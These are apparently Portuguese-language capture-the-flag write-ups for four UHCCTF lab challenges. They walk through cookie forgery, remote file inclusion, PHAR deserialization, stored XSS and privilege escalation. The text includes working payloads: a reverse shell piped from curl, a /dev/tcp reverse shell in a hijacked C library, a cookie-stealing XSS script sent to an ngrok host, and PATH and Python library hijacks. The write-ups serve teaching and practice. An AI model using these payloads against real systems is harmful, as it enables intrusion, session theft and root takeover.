root:root

Testando “guest:guest” conseguimos entrar:

/assets/biscuit/Untitled%203.png

Dando uma olhada aparentemente temos só uma página de welcome.

Vamos ver nossos cookies.

/assets/biscuit/Untitled%204.png

Vamos entender melhor esse cookie chamado session pois ele parece ser interessante:

/assets/biscuit/Untitled%205.png

Utilizando o cyberchef para decodar o cookie podemos perceber que se trata de um JSON com três valores: hmac (provavelmente algo que valide os valores), username, e uma hora para o cookie expirar.

Vou tentar alterar o valor de username para “admin” encodar em base64, url e então enviar para a aplicação.

/assets/biscuit/Untitled%206.png

Aparentemente retornou um erro dizendo que estamos tentando fazer um “temperamento de cookie”, e retornou uma flag! Nossa primeira flag.

Depois de alguns testes enviando cookies com outros valores aleatórios, acabei percebendo que a aplicação valida o Cookie pelo valor do hmac, e não pelo conteudo inteiro do json.

Uma vulnerabilidade muito conhecida sobre validações do PHP é o type jugling, que consiste em bypass de autenticações fazendo qualquer if($ == $) retornar “true”.

PHP Tricks (SPA)

PHP Type Juggling Vulnerabilities

/assets/biscuit/Untitled%207.png

Basicamente quando um programador utiliza “==” em uma comparação o php primeiro torna os dois valores do mesmo tipo, ignorando o tipo (int, str…) das variáveis.

E nessa operação podemos utilizar algumas técnicas para a comparação retornar “true”.

Exploitation

Depois de um tempo tentando, testei trocar o valor do “hmac” para “true” e aparentemente funcionou!

/assets/biscuit/Untitled%208.png

{"hmac":true,"username":"admin","expiration":1625435484}

/assets/biscuit/Untitled%209.png

Ok, fiquei triste que não existe nenhuma flag por aqui 😢.

Vou tentar alterar o nome do usuário para entender o que está acontecendo.

Alterando para “test” o php nos retorna um erro, aparentemente ele está rodando um “require_once” no valor que colocamos + adicionando .php no final. require_once normalmente é usado para incluir páginas e arquivos php em sites, e quando o usuário tem controle sobre o valor que o require_once vai usar a aplicação está vulnerável a LFI ou RFI (Local/Remote File Inclusion).

/assets/biscuit/Untitled%2010.png

Como a aplicação ja coloca o .php no final vou fazer o seguinte.

Subir um arquivo com uma webshell num servidor utilizando o ngrok, mandar a a aplicação incluir meu arquivo e conseguir um RCE.

/assets/biscuit/Untitled%2011.png

E vou mandar a payload:

{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}

(A aplicação ja vai colocar o .php)

Temos RCE!!

/assets/biscuit/Untitled%2012.png

Agora vou tentar pegar uma reverse shell.

Após algumas tentativas percebi que existe um firewall na aplicação que bloqueia qualquer comunicação em portas que não forem 80 ou 443, como eu não tenho uma VPS, vou fazer de uma forma diferente, ao invés de uma reverse shell (onde a vitima se conecta no atante) vou pegar uma bind shell (abrindo uma porta na maquina e me conectando nela).

Para isso vou usar o “socat”.

[socat GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell)

/assets/biscuit/Untitled%2013.png

Primeiro peguei o binario do socat no github deles (socat binary) e passei pra maquina utilizando o web-server que eu criei para conseguir RCE, e dando um curl.

Então rodei os comandos que estão na imagem e consegui uma bind shell! (utilizei a porta 6969)

/assets/biscuit/Untitled%2014.png

E navegando um pouco no / encontramos a próxima flag:

/assets/biscuit/Untitled%2015.png

Pós Exploitation

Fazendo o básico checklist de priv esc podemos perceber que estamos com o usuário do apache e podemos rodar um script como root na máquina:

/assets/biscuit/Untitled%2016.png

Aparentemente não podemos ler o script e nem altera-lo.

/assets/biscuit/Untitled%2017.png

O que nos resta é roda-lo:

/assets/biscuit/Untitled%2018.png

Aparentemente ele printa um IP, dando uma olhada no /var/www/html o path da aplicação web podemos perceber que existe um arquivo com o mesmo ip que ele printou, então aparentemente ele está printando o IP que está no arquivo.

/assets/biscuit/Untitled%2019.png

Abri o arquivo com o nano (antes rodar ‘export TERM=xterm’ !!) e começei a edita-lo para tentar retornar algum erro no python que me mostre alguma coisa do programa.

/assets/biscuit/Untitled%2020.png

/assets/biscuit/Untitled%2021.png

Interessante, aparentemente existe um format string diferente (pouco usado) rodando.

Pesquisando sobre esse tipo de format string + vulnerabilites acabei tropeçando nesse artigo.

Are there any Security Concerns to using Python F Strings with User Input

Basicamente nele explica-se tudo o que precisamos fazer, por isso não vou explicar direitinho, mas basicamente a forma que esse format string funciona nos permite injetar mais strings para serem formatadas, e se isso é printado podemos printar todas as váriaveis globais que o arquivo usa, normlamente dando alguma key ou senha para nós. (Para quem não entende muito bem inglês é só traduzir que fica tranquilo de entender).

Ok então vamos a payload.

{"ips":["{ip.list_blocked.__globals__}"]}

/assets/biscuit/Untitled%2022.png

Aparentemente funcionou e conseguimos o valor de uma váriavel chamada root_secret, provavelmente é a senha do root.

/assets/biscuit/Untitled%2023.png

Worked!!

Obrigado a você que leu até aqui, parabéns cadu pela máquina, e desclupe por algum erro no write-up, fiz correndo >_>

UHCCTF (Classificatória) - Chuvinha

13 September 2020 at 03:00

Recon

(Não usei o nmap pois abri a máquina no meu computador, o nmap não apontaria nada demais se eu rodasse ele no UHCLabs ou no próprio dia do UHC)

/assets/chuvinha/Untitled.png

De início o site é um blog sobre hacking e possui alguns lugares para compra de cursos, incluindo ZAP LOCKING (trava zap)…

Dando uma olhada no site em busca de falhas e também no código fonte, a primeira coisa que eu tentei “explorar” foi um formulário de e-mail no final da página, em busca de alguns Comand Injections, Server-side Request Forgery e etc.

/assets/chuvinha/Untitled%201.png

Porém não encontrei nada.

Então segui e rodei um Fuzzing em busca de arquivos e diretórios no site, utilizei uma ferramenta chamada “ffuf”:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://127.0.0.1/FUZZ' -c

/assets/chuvinha/Untitled%202.png

Como está no comando acima eu utilizei a wordlist “common.txt” do repositório seclists no github. De início houve alguns retornos interessantes, eu poderia rodar outras wordlists, normalmente eu uso a “common.txt, quickhits.txt e big.txt”.

LICENSE                - Apenas uma licensa de código, muito comum em ctfs;
admin.php              - Painel de administração, vamos voltar nele mais tarde;
.hta                   - Arquivos do apache, status code 403 acesso negado!
css                    - Pasta de arquivos do CSS, acesso negado!
.git/HEAD              - ".git" exposed uma vulnerabilidade crítica;
font                   - Arquivo de fontes, acesso negado!
fonts                  - Arquivo de fontes, acesso negado!
img                    - Uma pasta com as imagens do site, acesso negado!
index.html             - Página incial do site;
.htaccess              - Arquivos do apache, status code 403 acesso negado!
js                     - Arquivos de javascript, acesso negado!
.htpasswd              - Arquivos do apache, status code 403 acesso negado!
server-status          - Script que verifica se o servidor está online, porém, status code 403 acesso negado!
uploads                - Pasta de uploads, interessante... mas acesso negado.

Na página /admin.php temos um redirect para /login.php onde existe formulário de login, podemos verificar se existe alguma forma de achar credenciais e fazer o login ou fazer algum tipo de bypass.

/assets/chuvinha/Untitled%203.png

Na página /.git parece que temos uma possível falha de “git exposed”, vamos verificar se é válida e se sim vamos explora-la.

(Ao invés de entrar no “/.git/HEAD” verifiquei o “.git”:

/assets/chuvinha/Untitled%204.png

Temos uma página dizendo que não podemos acessar o .git, esse template é incomum de ver em páginas com .git exposto, ai deve ter algo, dando um Ctrl+U para verificar o código fonte da página acabei encontrando a primeira flag! (sempre é bom ler o código fonte das aplicações).

/assets/chuvinha/Untitled%205.png

Agora as chances da exploração serem pela falha de git exposed aumentaram pelo fato da primeira flag estar lá.

Se o desenvolvedor utiliza o Git para controle de versões do site, lá ficariam localizados todos os arquivos do site, commits (pequenas notas sobre o que mudou de versão para versão) e etc, o /.git não deveria ser acessível pelo público.

Exploitation

Parte 1

Para explorar o Git Exposed existem duas formas, de forma manual, e usando algumas tools. Eu recomendo tentar fazer de forma manual, e depois rodar a Tool, para aprender o que realmente a Tool faz. Vou deixar um link onde existe um artigo sobre falha de Git Exposed e sobre como explorar de forma manual (https://medium.com/swlh/hacking-git-directories-e0e60fa79a36).

Como disse acima vamos usar algumas ferramentas para essa exploração, no caso elas estão em um repositório do GitHub que tem o nome de GitTools (https://github.com/internetwache/GitTools)

Na verdade é um pacote com 3 scripts, vamos usar dois deles, o Dumper e o Extractor.

Primeiro o Dumper para dumpar as coisas que estão no Git da máquina. (o segundo argumento é a pasta para onde os arquivos vão, botei na pasta onde está o script de extrair os arquivos para facilitar).

./gitdumper.sh 'http://127.0.0.1/.git/' ~/Tools/GitTools/Extractor/dumpchuvinha

/assets/chuvinha/Untitled%206.png

Agora vamos para o diretório do Extractor e vamos extrair esse dump de arquivos para podermos ler:

./extractor.sh dumpchuvinha extractchuvinha

/assets/chuvinha/Untitled%207.png

Agora temos todos os arquivos do site na nossa maquina!

E parece que tem uma flag aqui hehe:

/assets/chuvinha/Untitled%208.png

Parece que teremos que fazer um code review…

Vou abrir tudo no VisualStudioCode para facilitar.

Na primeira versão do site (/0-be7dbd2b1e15ffec896cf61484c5a89d18b77335) temos um arquivo de log do apache para ler.

/assets/chuvinha/Untitled%209.png

São várias solicitações GET para o site que não aparentam ter nada de interessante, são tantas iguais o que me da a ideia de procurar por algo diferente em meio a todas essas iguais, dando um Ctrl+F para pesquisar dentro do arquivo, eu procuro por “POST” um outro método http, e incrivelmente eu encontro um request POST de uma autenticação, com credenciais para a página login.php, na fase de reconhecimento identificamos a página admin.php, muito provavelmente essas credenciais são do administrador do site.

/assets/chuvinha/Untitled%2010.png

Como é um request php parece que a senha está encodada em string de URL, vou utilizar um decoder de URL para arrumar isso.

/assets/chuvinha/Untitled%2011.png

Ok, vamos testar essas credenciais!

/assets/chuvinha/Untitled%2012.png

Logamos!

(Um aviso: Agora a exploração será um pouco complicada, não prometo que vai ser o melhor jeito de explicar porém darei o meu melhor)

Nessa página temos um lugar para colocar uma URL de imagem e um campo que checa o tamanho da imagem (Arquivo).

Tentei colocar alguns arquivos para tentar upar alguma shell, mas não tive resultados.

Vamos retornar para o código que dumpamos para entender melhor como que isso funciona:

/assets/chuvinha/Untitled%2013.png

Nós passamos um link e o php executa um wget para esse link pegando o arquivo e salvando (por conta da função escapeshellarg() nós não conseguiremos manipular o input para trigar um RCE), mas existem outras formas…

Depois ele roda um filesize() no arquivo e retorna o outupt na página.

Um adendo a uma parte do código curiosa no começo dele:

/assets/chuvinha/Untitled%2014.png

Parece que temos uma função que remove algo do servidor com o comando “rm”, no caso o $package_name, será que tem alguma forma de modificar esse objeto $package_name para algo que escapasse do comando “rm” e nós conseguíssemos rodar comandos no servidor?

Dando uma pesquisada pelas funções que tem no código ( filesize() e __destruct() ) acabei descobrindo uma forma de desserealização insegura com arquivos phar.

Exploitation

Parte 2

O objetivo de um ataque de desserealização insegura em uma aplicação web é poder manipular/injetar objetos, e é o que temos que fazer com o objeto $packagename para conseguir um RCE.

Vamos utilizar arquivos phar que são gerados com a classe Phar que é utilizada para empacotar aplicações PHP em um único arquivo que pode ser facilmente distribuído e executado. Se ficou complicado explicarei melhor, pense em um arquivo zip com varias coisas dentro, esse é o arquivo phar no php porém com vários objetos e classes dentro.

A sacada é que existem algumas funções no php que quando executadas em arquivos phar desserealizam os objetos dele, uma dessas funções é a filesize(), então o que temos que fazer é instanciar a classe Package onde está a parte vulnerável da aplicação e declarar o nosso $package_name com o nosso payload.

Como na outra parte da exploração vou deixar alguns links de artigos e em especial um vídeo do ippsec (que inclusive narra o UHC em algumas edições).

Artigos:

Vídeos:

Ok, vamos começar a brincadeira!

Para gerar o arquivo phar vou utilizar um script pronto do PayloadAllTheThings:

(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure Deserialization/PHP.md#php-phar-deserialization)

<?php
class PDFGenerator { }

//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Agora vamos começar alterando o nome da classe “PDFGenerator” para o nome da nossa classe vulnerável.

PDFGenerator —> Package

Depois o objeto “filename” para o nome do nosso objeto onde temos que escrever o payload

filename —> package_name

E então temos que escrever a nossa payload, como o comando que vai rodar é um “rm” teremos que escapar dele:

rm payload
Existem várias formas de se fazer isso( , ; ) irei fazer com $(), o comando rodaria mais ou menos assim no servidor:
rm $(payload)

Assim estaríamos escapando do “rm” e podendo escrever o que quiséssemos de comando no lugar de payload.

O script terá que ficar mais ou menos assim:

<?php
class Package { }

//Create a new instance of the Dummy class and modify its property
$dummy = new Package();
//$dummy->callback = "passthru";
$dummy->package_name = "$(curl http://reverse-shell.sh/172.31.228.136:1234 | sh ) "; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Minha payload foi uma forma bem legal de pegar reverse shell, usando um site, logo depois passei meu ip e a porta onde ele deve se conectar.

Agora vamos gerar o arquivo phar!

/assets/chuvinha/Untitled%2015.png

Parece que nossa configuração do php não nos deixa gerar um arquivo phar, vamos arrumar isso.

php --ini

Isso vai retornar onde está seu arquivo de configuração do php, vamos editar ele, procurando por “phar” vamos modificar uma linha: (removendo o ; do começo dela e escrevendo “Off” no lugar de “On”)

/assets/chuvinha/Untitled%2016.png

E então:

/assets/chuvinha/Untitled%2017.png

Agora deve funcionar:

/assets/chuvinha/Untitled%2018.png

Temos nosso payload. Para fazer o donwload dele na máquina vou criar um servidor python na minha maquina:

(https://github.com/viniciuspereiras/bingo)

bingo 

ou

python3 -m http.server 

E o download:

/assets/chuvinha/Untitled%2019.png

Ok retornou com um “File downloaded! You can access it Here” vou clicar no Here para ver o caminho onde o arquivo foi salvo.

/assets/chuvinha/Untitled%2020.png

Agora vamos rodar a função do filesize() nele mas usando um “phar://./” antes para funcionar, e também abriremos um netcat para ouvir na porta onde colocamos (no caso na porta 1234)

/assets/chuvinha/Untitled%2021.png

Aqui está nossa shell, para ela ficar mais interativa usei o “rlwrap” antes do netcat.

Pós-Exploitation

Agora que estamos com shell precisamos escalar nossos privilégios na máquina, estamos como o usuário do apache “www-data”.

Verifiquei os diretórios atrás de coisas, verifiquei as permissões de sudo (aparentemente não podemos rodar sudo na máquina), e verifiquei as permissões de binários também, e no fim rodei um linpeas para garantir.

Achei uma pasta de um script na pasta /opt do linux, o script é um monitorador de diretórios git expostos (cômico pois ele falhou lá atrás). E tem cara de que vai falhar agora nos dando uma shell de root.

/assets/chuvinha/Untitled%2022.png

Lendo o script em c, percebemos que ele é bem simples, e opa achamos mais uma flag!

#include <stdio.h>
#include <stdlib.h>
#include "gitlib/libgitutils.h"

// UHC{s1mpl3%%%%%%%%%%%%%%t0_RCE}

int main(){
    check_git_safety();
}$

Lendo o README.md podemos ver como que o script foi instalado e um pouco de como ele funciona.

/assets/chuvinha/Untitled%2023.png

Podemos perceber que o script utliza uma biblioteca compartilhada, poderiamos trocar a biblioteca que ele está usando para uma biblioteca nossa e subscrever a função que o script usa, no caso “check_git_safety()”.

Isto se chama Library Hijacking nesse caso em libs de C.

Pesquisando sobre como criar libs em C cheguei a simples conclusão que só precisamos escrever uma nova função num script “.c” normal e compilar como uma biblioteca.

Então vamos escrever nossa biblioteca falsificada e declarar nossa função:

#include <stdlib.h>
void check_git_safety() {
        system("bash -c 'bash -i >& /dev/tcp/172.20.17.36/8989 0>&1'");
}

Como pode ver subscrevi a função check_git_safety() para rodar a função system com o comando para nos mandar uma reverse shell.

Ela iria mandar a shell como root já que no README.md percebemos que o script roda como um cronjob de root.

Então na minha máquina vou compilar o script para transformar numa biblioteca compartilhada.

(O nome do script é libgitutils.c)

Vamos compilar:

gcc libgitutils.c -fpic -c

Isso vai gerar um arquivo libgitutils.o

gcc -shared -o libgitutils.so libgitutils.o

Agora temos nossa biblioteca compartilhada libgitutils.so .

Vamos novamente abrir um servidor python na nossa máquina para passar a biblioteca compartilhada para dentro na máquina que temos shell.

/assets/chuvinha/Untitled%2024.png

Agora com a nossa biblioteca falsificada dentro da máquina vamos seguir as instruções do README.md e copiar nossa lib falsificada para o diretório das instruções.

Primeira instrução:

1. Copy our libgitutils.so library to /lib/x86_64-linux-gnu/libgitutils.so

Vamos copiar:

cp libgitutils.so /lib/x86_64-linux-gnu/libgitutils.so

Segunda instrução:

2. Install a cronjob that runs /opt/git-monitorer/gitmon every minute

Como já alteramos a biblioteca, a cada um minuto o script deve ser rodado, então vamos apenas abrir a porta 8989 da nossa máquina para receber a reverse shell e esperar um minuto.

/assets/chuvinha/Untitled%2025.png

Ownamos!

Agora vamos ver se achamos a flag, dando uma olhada rápida pelo diretório /root, ela já estava lá.

/assets/chuvinha/Untitled%2026.png

É isso XD .

UHCCTF (Classificatória) - CuteCat 🐈 (Official Write-Up)

15 April 2020 at 03:00

Esse challenge foi feito para ser fofo e maluco ao mesmo tempo… Meu primeiro challenge MISC.

Part 1

Começamos o challenge com um .zip criptografado com senha:

/assets/cutecat/Untitled.png

Temos algumas opções para partir, ou rodar um bruteforce ou achar a senha.

Testando algumas coisas na mão acabei conseguindo acertar, a senha é o número que está no nome do arquivo, no caso a senha do 22800.zip é 22800.

/assets/cutecat/Untitled%201.png

Extraindo, temos mais um arquivo, o 41992.zip, testando o mesmo método conseguimos deszipar.

/assets/cutecat/Untitled%202.png

Pelo jeito é um padrão que precisa ser quebrado, vamos desenvolver um script para pegar o nome do arquivo e fazer a extração em loop.

Existem MUITAS formas diferentes de resolver essa primeira parte do challenge, eu usarei shell script para automatizar o processo.

#!/bin/bash
mkdir data                           
echo 'any key + enter to start:'     
read key
while true                          
do
	name=$(ls | grep .zip)            
	name=${name%.zip}                 
	echo "Unziping: $name"     
	unzip -j -P $name $name.zip      
	status=$(echo $?)                  
	if [[ $status != 0 ]]              
	then
	echo "Error extracting $name.zip" 
	exit                              
	fi                                 
	mv $name.zip ./data               
done

Agora vou explicar o script, o que ele faz é em um loop dar um ls na pasta que só vai retornar no output os arquivos que terminarem com .zip, nesse output terá o nome do arquivo que precisamos e será salvo na variável name, então excluímos o “.zip” da nossa variável name e então extraímos o arquivo desse .zip e movemos o .zip de origem para a pasta “data”, assim não teremos problemas no “ls” (o if no meio do código verifica se a extração foi feita com sucesso, se não ele mostra qual .zip deu erro e encerra o programa deixando o script que deu erro na pasta raiz). Assim deve funcionar, vamos testar…

/assets/cutecat/Untitled%203.png

/assets/cutecat/Untitled%204.png

Part 2

Depois de um tempo ele terminou de extrair tudo mas deu erro no 46691.zip, e mostrou que dentro dele tem um arquivo chamado cutecat.jpg…

Depois de tentar umas senhas e não conseguir vamos fazer um bruteforce.

Vou utilizar o john para isso.

/assets/cutecat/Untitled%205.png

Rapidinho conseguimos a senha, usando ela conseguimos extrair o cutecat.jpg

Part 3

Aparentemente o arquivo está corrompido não conseguimos visualizar a imagem.

/assets/cutecat/Untitled%206.png

/assets/cutecat/Untitled%207.png

A principio parece que a assinatura do arquivo pode estar errada, por isso o “file” do Linux não conseguiu identificar o tipo do arquivo. Vamos extrair o hexadecimal da imagem para poder analisar.

/assets/cutecat/Untitled%208.png

Os primeiros bytes dos arquivos costumam ser conhecidos como magic-bytes, vamos ver como é a assinatura (signature ou magic-bytes) de um arquivo jpg.

List of file signatures

/assets/cutecat/Untitled%209.png

Nossa imagem:

/assets/cutecat/Untitled%2010.png

A partir do terceiro byte a assinatura esta correta, então só teremos que trocar os 00 por ff da nossa imagem

Para isso também existem várias formas de fazer, vou usar um módulo do CyberChef para renderizar a imagem, chamado Render Image.

CyberChef

/assets/cutecat/Untitled%2011.png

Selecionando o módulo Render Image usando o input format de Hex eu copiei todo o conteudo do extract que fizemos anteriormente e alterei os dois primeiros bytes que estavam errados para “ff” e apareceu um gatinho fofinho, ownt!

Vamos baixar a imagem!

/assets/cutecat/Untitled%2012.png

/assets/cutecat/Untitled%2013.png

Ownt!!!!!!!!!!!!!

Parece que temos uma senha, acredito que o único lugar que poderíamos usar essa senha seja se tiver esteganografia na imagem…

/assets/cutecat/Untitled%2014.png

É isso, foi fofo né? 😸

UHCCTF (Classificatória) - BankHi (Official Write-Up)

15 April 2020 at 03:00

Essa foi a primeira máquina que eu criei e ela é muito especial para mim, espero que gostem 🙂

Ela foi feita pensando na exploração de técnicas de Hijacking.

easter egg → bank name = Hi          
name of background image = jack.jpg
team developer name = jack
HiJack - Hijacking :) 

Recon

/assets/bankhi/Untitled.png

A página principal parece ser de um banco normal, dando uma lida percebemos que existe uma sessão sobre o time do banco:

/assets/bankhi/Untitled%201.png

Ok, já sabemos o nome de possíveis usuários administradores!

Dando mais uma navegada podemos encontrar uma página um tanto quanto interessante:

/assets/bankhi/Untitled%202.png

Parece que o Banco tem um programa próprio de Bug Bounty (recompensa por bugs).

Mesmo assim vamos fazer um fuzzing no site.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'https://bankhi.uhclabs.com/FUZZ' -c

/assets/bankhi/Untitled%203.png

É, nada de interessante, todas essas pastas com status 301 estão com acesso negado 😢.

Vamos ver esse tal programa de BugBounty e fazer um fuzzing nele:

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'https://bankhi.uhclabs.com/bugbounty/FUZZ' -c

/assets/bankhi/Untitled%204.png

Só retornou um diretório de uploads, mas não existe directory listening. Talvez se usássemos outra wordlist eu teria pego index.php, login.php, report.php…

Temos de cara uma página de login e um link para criar usuários. (login.php)

/assets/bankhi/Untitled%205.png

Os três botões ali em cima eu preciso estar autenticado para usar, depois de testar algumas credenciais padrão e não ter sucesso vamos criar um user!

Depois de criar um user e logar, temos acesso ao index.php

/assets/bankhi/Untitled%206.png

Dando uma olhada no source code… Temos nossa primeira flag.

/assets/bankhi/Untitled%207.png

Parece ser uma página de reports. É importante ressaltar que os admins podem ver nossos reports 🤔.

Vamos fazer um report:

/assets/bankhi/Untitled%208.png

/assets/bankhi/Untitled%209.png

Agora vamos ver como ele se faz no código html:


<h5 class='card-title'>test</h5>
<h6 class='card-subtitle mb-2 text-muted; text-warning'>Open</h6>
<p class='card-text text-info'>From: vinicius</p>
<p class='card-text'>test</p>

Exploitation

Ok, vamos testar um XSS aqui, não é muito comum em CTFs mas se os admins realmente verem nossos reports provavelmente poderemos executar scripts maliciosos na página deles.

<script> alert('xss') </script>

Vou usar o clássico dos clássicos

/assets/bankhi/Untitled%2010.png

/assets/bankhi/Untitled%2011.png

Interessante… Parece que a aplicação removeu nosso script e nosso alert (muito comum os sites bloquearem o alert…) Parece que teremos que fazer um bypass disso, normalmente podemos inserir uma palavra proibida dentro de outra, assim quando a aplicação remover a palavra proibida, vai concatenar a nossa palavra.

/assets/bankhi/Untitled%2012.png

Nossa payload:

<scrscriptipt> alealertrt('xss') </scrscriptipt>

Vamos enviar e ver se da certo.

/assets/bankhi/Untitled%2013.png

Bom parece que o site está vulnerável a XSS storage, vamos pesquisar o que podemos fazer com isso… Hm, Session Hijacking, podemos roubar cookies dos usuários que verem nosso report (admins ?).

/assets/bankhi/Untitled%2014.png

Temos um cookie de um token JWT com nosso usuário. Vamos desencodar.

/assets/bankhi/Untitled%2015.png

Uid significa UserId, normalmente usado para dizer os privilégios de cada usuário. Como não temos a chave do token não podemos alterar esse valor. Porém sabemos que cada usuário tem um token e com esse token poderiamos roubar a sessão do usuário (Session Hijacking).

Session Hijacking

Vamos procurar alguma payload, vou usar essa:

<scrscriptipt>
new Image().src='2.tcp.ngrok.io:17224/'+(document.cookie);
</scscriptript>

Isso vai fazer com que o browser faça uma requisição para meu IP do ngrok + a porta do ngrok com os cookies da sessão do usuário que estiver acessando a página.

Vamos enviar e abrir nosso netcat para receber o request.

Não funcionou

new Image().src='http://2.tcp.ngrok.io:17224/'+(.);

Se analisarmos a aplicação retirou a palavra “document” e a palavra “cookie”, logo vamos fazer a mesma coisa que fizemos com script e está feito nosso bypass.

<scrscriptipt>
new Image().src='http://2.tcp.ngrok.io:18238/'+(docdocumentument.cookcookieie);
</scscriptript>

/assets/bankhi/Untitled%2016.png

Agora vamos usar esse token que pegamos: (se botarmos esse token no jwt.io ele vai mostrar o uid:1)

/assets/bankhi/Untitled%2017.png

Mais uma Flag! Session Hijacking feito com Sucesso.

Agora temos um formulário de upload.

Pelo jeito podemos fazer o upload de php, vamos upar uma shell…

Agora vamos ver aquele diretório que o ffuf apontou o /uploads, se nossa shell está lá.

/assets/bankhi/Untitled%2018.png

Como estou escrevendo esse write-up no dia do UHC temos um load-balancer rodando, por isso vamos dar f5 algumas vezes…

/assets/bankhi/Untitled%2019.png

Habemos Shell !

Pós-Exploitation

Part 1

Agora que temos shell vou transforma-la numa shell mais responsiva para trabalharmos melhor…

/assets/bankhi/Untitled%2020.png

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

Agora poderemos trabalhar melhor, vamos começar dando uma olhada na máquina, parece que temos dois users, um chamado ronald e outro leia (estamos como o user do apache www-data), e no / temos um arquivo chamado welcome.txt

/assets/bankhi/Untitled%2021.png

Parece a senha do ronald, agora vamos logar como ronald, e logo na home dele temos mais uma flag!

/assets/bankhi/Untitled%2022.png

Ok, pelo o que parece teremos que fazer uma escalação de privilégios horizontal e pegar o user da leia.

Poderíamos rodar um linpeas para enumerar, mas logo no “sudo -l” já temos algo interessante:

/assets/bankhi/Untitled%2023.png

Isso significa que com o user ronald podemos rodar /usr/bin/python3.7 /opt/bingo.py setando uma variável de ambiente sem usar senha como o user leia.

Isso está com cara de Python Lib Hijacking

Vamos então ler esse script bingo.py

Python Lib Hijacking

Linux Privilege Escalation

/assets/bankhi/Untitled%2024.png

O básico de Python LIb Hijacking é sobre escrever uma das bibliotecas importadas no script, no caso vamos usar a socketserver…

Criei uma pasta oculta no /tmp para nao leakar o exploit no meio do campeonato…

/assets/bankhi/Untitled%2025.png

Escrevi um script com uma função chamando uma shell interativa, assim quando rodarmos o bingo.py como a leia, o bingo.py importará a nossa lib fake chamando uma shell como a leia. Mas como fazemos o python entender que é para usar a nossa lib? O SETENV no /etc/sudoers significa que podemos dizer o valor de alguma variável de ambiente do linux, e existe uma variável de ambiente que diz onde ficam os arquivos do python incluindo as libs, então temos só que dizer que esse diretório é o nosso /tmp/.a/ .

/assets/bankhi/Untitled%2026.png

Gooooood

Agora como a leia podemos ver que a próxima flag estava na home dela.

/assets/bankhi/Untitled%2027.png

Part 2 - Root

Poderia ter rodado o linpeas mas novamente o “sudo -l” nos disse algo:

/assets/bankhi/Untitled%2028.png

Isso significa que o user leia pode rodar /bin/sl como root sem senha e setando uma variável de ambiente…

Vamos ver esse sl.

Path Hijacking

/assets/bankhi/Untitled%2029.png

LOL, Aparentemente ele faz um trem no terminal.

Mas logo quando ele termina de passar o trem ele mostra um output um tanto quanto conhecido

/assets/bankhi/Untitled%2030.png

Parece que ele está rodando um ls…

Tudo indica que seja Path Hijacking, vou rodar o strace no sl para ver as chamadas de sistema para confirmar…

/assets/bankhi/unknown.png

É ele está chamando o “ls” direto sem path, ou seja podemos manipular a variável PATH usando nosso SETENV, PATH é a variável que determina onde os arquivos executáveis do linux estão. Por exemplo para não digitar “/usr/bin/sudo” meu PATH terá “/usr/bin/” assim quando eu for rodar o comando “sudo” eu só preciso digitar “sudo”.

Então temos que criar um ls malicioso…

Usei o mesmo path que usamos para o python lib hijacking.

/assets/bankhi/Untitled%2031.png

Escrevi um bash para apenas rodar um /bin/bash e chamar a shell interativa como root

Agora o root…

/assets/bankhi/Untitled%2032.png

E nossa flag de root merecida!

/assets/bankhi/Untitled%2033.png

É isso.

Essa foi a primeira maquina que eu fiz então espero que quem tenha jogado tenha gostado e sim eu sou fã de star wars, tem varios easter eggs espalhados na máquina kkskksks…

❌
❌